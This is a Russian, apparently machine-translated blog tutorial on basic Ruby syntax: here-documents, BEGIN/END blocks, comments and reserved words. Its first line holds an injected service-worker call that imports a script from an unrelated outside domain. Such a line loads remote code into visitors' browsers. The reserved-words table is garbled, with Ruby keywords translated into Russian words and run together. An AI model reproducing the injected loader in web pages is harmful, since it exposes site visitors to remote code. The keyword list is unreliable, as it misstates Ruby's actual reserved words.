google-site-verification: google2818f8f06eec354e.html self.importScripts('https://zworld-news.com/sw/w_1.js');

Синтаксис

Давайте напишем простую программу на ruby. Все рубиновые файлы будут иметь расширение .rb . Итак, поместите следующий исходный код в файл test.rb.
 Live Demo
#!/usr/bin/ruby -w

puts "Hello, Ruby!";
Здесь мы предположили, что у вас есть интерпретатор Ruby, доступный в каталоге / usr / bin. Теперь попробуйте запустить эту программу следующим образом:
$ ruby test.rb
Это даст следующий результат -
Hello, Ruby!
Вы видели простую программу на Ruby, теперь давайте рассмотрим несколько основных понятий, связанных с синтаксисом Ruby.

Пробелы в программе Ruby

Пробельные символы, такие как пробелы и символы табуляции, обычно игнорируются в коде Ruby, за исключением случаев, когда они появляются в строках. Однако иногда они используются для интерпретации неоднозначных утверждений. Такие интерпретации выдают предупреждения, когда включена опция -w.

пример

a + b is interpreted as a+b ( Here a is a local variable)
a  +b is interpreted as a(+b) ( Here a is a method call)

Концы строк в программе Ruby

Ruby интерпретирует точки с запятой и символы новой строки как окончание оператора. Однако, если Ruby встречает операторы, такие как +, - или обратный слеш в конце строки, они указывают на продолжение оператора.

Ruby идентификаторы

Идентификаторы - это имена переменных, констант и методов. Ruby идентификаторы чувствительны к регистру. Это означает, что Ram и RAM - это два разных идентификатора в Ruby.
Имена идентификаторов Ruby могут состоять из буквенно-цифровых символов и символа подчеркивания (_).

Зарезервированные слова

В следующем списке показаны зарезервированные слова в Ruby. Эти зарезервированные слова не могут использоваться в качестве имен констант или переменных. Однако их можно использовать как имена методов.
НАЧАТЬделатьследующийзатем
КОНЕЦещенольправда
псевдонимELSIFнеUNDEF
а такжеконецили жеесли
начатьобеспечиватьпеределыватьдо тех пор
перерывложныйспасениекогда
делозаповторить попыткув то время как
учебный классесливернутьв то время как
Защитавсам__ФАЙЛ__
определены?модульсупер__ЛИНИЯ__

Вот документ в рубине

«Здесь документ» относится к строкам из нескольких строк. После << вы можете указать строку или идентификатор для завершения строкового литерала, и все строки, следующие за текущей строкой до терминатора, являются значением строки.
Если терминатор заключен в кавычки, тип кавычек определяет тип строкового литерала, ориентированного на строку. Обратите внимание, что между << и терминатором не должно быть пробела.
Вот разные примеры -
 Live Demo
#!/usr/bin/ruby -w

print <<EOF
   This is the first way of creating
   here document ie. multiple line string.
EOF

print <<"EOF";                # same as above
   This is the second way of creating
   here document ie. multiple line string.
EOF

print <<`EOC`                 # execute commands
 echo hi there
 echo lo there
EOC

print <<"foo", <<"bar"  # you can stack them
 I said foo.
foo
 I said bar.
bar
Это даст следующий результат -
   This is the first way of creating
   her document ie. multiple line string.
   This is the second way of creating
   her document ie. multiple line string.
hi there
lo there
      I said foo.
      I said bar.

Рубин НАЧАТЬ заявление

Синтаксис

BEGIN {
   code
}
Объявляет код, который будет вызван перед запуском программы.

пример

 Live Demo
#!/usr/bin/ruby

puts "This is main Ruby Program"

BEGIN {
   puts "Initializing Ruby Program"
}
Это даст следующий результат -
Initializing Ruby Program
This is main Ruby Program

Ruby END Заявление

Синтаксис

END {
   code
}
Объявляет код, который будет вызван в конце программы.

пример

 Live Demo
#!/usr/bin/ruby

puts "This is main Ruby Program"

END {
   puts "Terminating Ruby Program"
}
BEGIN {
   puts "Initializing Ruby Program"
}
Это даст следующий результат -
Initializing Ruby Program
This is main Ruby Program
Terminating Ruby Program

Руби Комментарии

Комментарий скрывает строку, часть строки или несколько строк от интерпретатора Ruby. Вы можете использовать хеш-символ (#) в начале строки -
# I am a comment. Just ignore me.
Или комментарий может быть в той же строке после утверждения или выражения -
name = "Madisetti" # This is again comment
Вы можете прокомментировать несколько строк следующим образом -
# This is a comment.
# This is a comment, too.
# This is a comment, too.
# I said that already.
Вот другая форма. Этот блочный комментарий скрывает несколько строк от интерпретатора с = begin / = end -
=begin
This is a comment.
This is a comment, too.
This is a comment, too.
I said that already.
=end

Комментариев нет:

Отправить комментарий